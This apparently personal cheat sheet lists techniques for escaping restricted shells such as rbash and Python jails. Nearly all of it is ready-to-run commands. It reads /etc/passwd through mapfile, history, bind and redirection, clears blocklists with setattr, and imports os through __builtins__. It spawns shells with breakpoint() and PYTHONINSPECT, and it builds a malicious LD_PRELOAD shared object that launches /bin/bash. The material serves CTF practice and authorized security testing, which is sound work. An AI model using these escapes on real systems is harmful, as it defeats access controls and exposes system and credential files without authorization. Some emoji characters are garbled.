Restricted Shells
A restricted shell such as rbash
is a shell that restrict the action of the user to a limited list of commands/arguments. For instance, for rbash:
- we cannot use commands with pathnames containing a "/"
- we can use
help
to list available commands - we cannot use
cd
- more restrictions may be in place
To escape of restricted shells, we can try to use command substitution (ex: ls `pwd`
), command chaining, or editing environment variables.
Common tricks:
- List files:
echo /*
andecho /.*
- Read a file:
read f < /etc/passwd; echo $f
- Read a file:
f=$(</etc/passwd); echo $f
Use compgen -c
, help
, or <tab>
to list available commands.
π Sometimes, ssh [...] -t "/bin/bash --noprofile"
may work.
Restricted Bash (rbash)
Enumeration
The readonly
command is useful to list which variable you can't edit.
$ readonly
ENV
PATH
HOME
You can use declare
to get information about your environment.
$ declare -x # remove -x to see functions
BASH_VERSINFO=([0]="4" [1]="4" [2]="20" [3]="1" [4]="release" [5]="i686-pc-linux-gnu")
BASH_VERSION='4.4.20(1)-release'
PATH=/tmp/void/
SHELLOPTS=braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor
Read a file
Method using mapfile
:
$ mapfile array < /etc/passwd
$ echo ${array[@]}
Method using history
:
$ export HISTFILE=/etc/passwd
$ history -r
$ history
Method using bind
:
$ bind -f /etc/passwd
Python Jails
Additional reference: python payloads.
Python Jails Enumeration
Find variables and information about your context:
globals() # global symbols (variables, functions)
locals() # local symbols (function, method, block)
vars() # without any argument, same as 'locals'
del __builtins__ # restore them
__builtins__.__dict__ # or __builtins__ if deleted
open = __builtins__.__dict__['open']
os = __builtins__.__dict__['__import__']('os')
Refer to introspection for a few more payloads.
Python File Write
You can arbitrarily create files or python scripts using:
print("Hello, World!", file=open("/dev/shm/poc", "w"))
print("im"+"port os\nprint(os.getcwd())", file=open("/dev/shm/poc.py", "w"))
Python File Read
You can arbitrarily read files using:
file=open("/etc/passwd", "r"); print(''.join(file.readlines()))
help('print') # :e/path/to/file
Python Jails Escape
Arbitrarily set a variable, such as the list of blocked commands:
setattr(__import__('__main__'),'blocklist',[])
Try loading modules using __import__
:
__import__("os").getcwd()
Set the path to load arbitrary Python files:
setattr(__import__("sys"), "path", list(("/dev/shm/",))) ; __import__("my_file")
__import__("sys").path.append("/dev/shm/") # better?
Use breakpoint or help:
breakpoint() # then write any python code
help(len) # write m<cr>a<cr>|<cr>a<cr>your command<cr>q<cr>
Use python environment variables:
import os
os.environ['PYTHONINSPECT'] = 'abc'
# will pop a python shell when you trigger an exception
Refer to introspection for a few more tricks.
Special Scenarios
LD_PRELOAD
If we have access to a program that depend on LIBC and LD_PRELOAD
, e.g. any command aside from the builtin functions, we may be able to pop a bash. For that to be possible, we need a malicious .so
.
If gcc
is available, we can easily compile one, while it's unlikely.
$ echo 'void _init() {' > /tmp/test.c
$ echo 'system("/bin/bash");' >> /tmp/test.c
$ echo '}' >> /tmp/test.c
$ gcc -shared -fPIC /tmp/test.c -o /tmp/test.so -nostartfiles
$ LD_PRELOAD='/tmp/test.so' gcc
β‘οΈ If gcc is available, gcc -wrapper /bin/bash,-s .
is faster.
π» To-do π»
Stuff that I found, but never read/used yet.
chroot
(chroot xxx, chroot .., chroot .)- chw00t